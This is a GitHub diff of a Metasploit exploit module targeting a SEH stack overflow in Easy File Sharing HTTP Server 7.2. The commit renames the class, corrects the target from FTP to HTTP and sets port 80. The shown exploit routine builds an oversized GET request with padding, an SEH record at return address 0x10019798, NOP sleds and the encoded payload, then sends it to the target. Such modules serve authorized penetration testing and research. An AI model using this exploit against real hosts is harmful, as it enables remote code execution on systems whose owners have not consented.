5
5
6
6
require 'msf/core'
7
7
8
- class Metasploit3 < Msf ::Exploit ::Remote
8
+ class MetasploitModule < Msf ::Exploit ::Remote
9
9
10
- Rank = AverageRanking
10
+ Rank = NormalRanking
11
11
12
12
include Msf ::Exploit ::Remote ::Tcp
13
13
include Msf ::Exploit ::Seh
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'Easy File Sharing FTP Server 7.2 SEH Overflow' ,
17
+ 'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow' ,
18
18
'Description' => %q{
19
19
This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
20
20
} ,
21
21
'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>' ,
22
22
'License' => MSF_LICENSE ,
23
23
'References' =>
24
24
[
25
- [ 'URL ' , 'https://www.exploit-db.com/exploits/ 39008/ ' ] ,
25
+ [ 'EDB ' , '39008' ] ,
26
26
] ,
27
27
'Privileged' => true ,
28
28
'DefaultOptions' =>
@@ -38,23 +38,28 @@ def initialize(info = {})
38
38
'Platform' => 'win' ,
39
39
'Targets' =>
40
40
[
41
- [ 'Windows Universal' , { 'Ret' => 0x10019798 } ] ,
41
+ [ 'Easy File Sharing 7.2 HTTP' , { 'Ret' => 0x10019798 } ] ,
42
42
] ,
43
- 'DisclosureDate' => 'December 2, 2015' ,
43
+ 'DefaultOptions' => {
44
+ 'RPORT' => 80
45
+ } ,
46
+ 'DisclosureDate' => 'Dec 2 2015' ,
44
47
'DefaultTarget' => 0 ) )
45
48
end
46
49
50
+ def print_status ( msg = '' )
51
+ super ( "#{ peer } - #{ msg } " )
52
+ end
53
+
47
54
def exploit
48
55
connect
49
- print_status ( "Generating Shell Code " )
56
+ print_status ( "Sending exploit... " )
50
57
sploit = "GET "
51
58
sploit << rand_text_alpha_upper ( 4061 )
52
- print_status ( "Generating Short jump" )
53
59
sploit << generate_seh_record ( target . ret )
54
60
sploit << make_nops ( 19 )
55
61
sploit << payload . encoded
56
62
sploit << make_nops ( 7 )
57
- print_status ( "Buffer length is: #{ 4500 - 4061 - 4 - 4 - 20 - payload . encoded . length - 20 } " )
58
63
sploit << rand_text_alpha_upper ( 4500 - 4061 - 4 - 4 - 20 - payload . encoded . length - 20 )
59
64
sploit << " HTTP/1.0\r \n \r \n "
60
65
sock . put ( sploit )
0 commit comments